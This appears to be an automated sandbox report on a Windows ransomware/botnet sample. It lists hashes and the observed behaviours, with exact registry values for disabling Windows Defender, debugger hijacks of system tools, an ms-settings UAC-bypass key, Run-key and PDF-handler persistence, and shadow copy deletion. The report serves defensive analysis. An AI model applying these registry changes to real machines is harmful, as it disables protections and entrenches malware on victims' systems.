Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
17/05/2026, 06:33
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 48KB
- Sample260517-hbfgpadt2s
- SHA256 f27d91be576bdbad2b764b23a545558c69b8005cc9da2dd781ba9fd128ce1224
- MD5 479a67dd883f5a52a5b79e7aeda54668
- SHA1 77f87746a5abe43cc92f7753c9601b293e4edaa4
- SHA512 9208036967ca378827a13ff4232a7bfc698247d54a9ee13f9082436900c86777aa7a8eccce275b0ab7645777dbfb0501ab40c02810afa27a7f68a86cd99460ac
- SSDEEP 768:RhHDTj5D++kqUF7NaEc4N//o4FC1XXGblfA0/KFcI:fHL5DI1QEtNI4FEXGblf9/ucI
- TLSH T1F823E70437F94111E1BF5ABA8DB196019B31F8979C23E78E07D5058E1AB3780DEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/396-0-0x0000000000760000-0x0000000000772000-memory.dmp disable_win_def behavioral2/files/0x001500000002ba3e-2434.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/396-0-0x0000000000760000-0x0000000000772000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001500000002ba3e-2434.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/396-0-0x0000000000760000-0x0000000000772000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001500000002ba3e-2434.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3300 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3284 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 6040 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5680 sc.exe 4116 sc.exe 5536 sc.exe 2116 sc.exe 4508 sc.exe 4716 sc.exe 1932 sc.exe 2168 sc.exe 5904 sc.exe 3892 sc.exe 2132 sc.exe 5072 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5744 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1276 ipconfig.exe 3552 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5632 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4792 vssadmin.exe 3424 vssadmin.exe 4336 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237582878410589" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open\command 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open\command 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
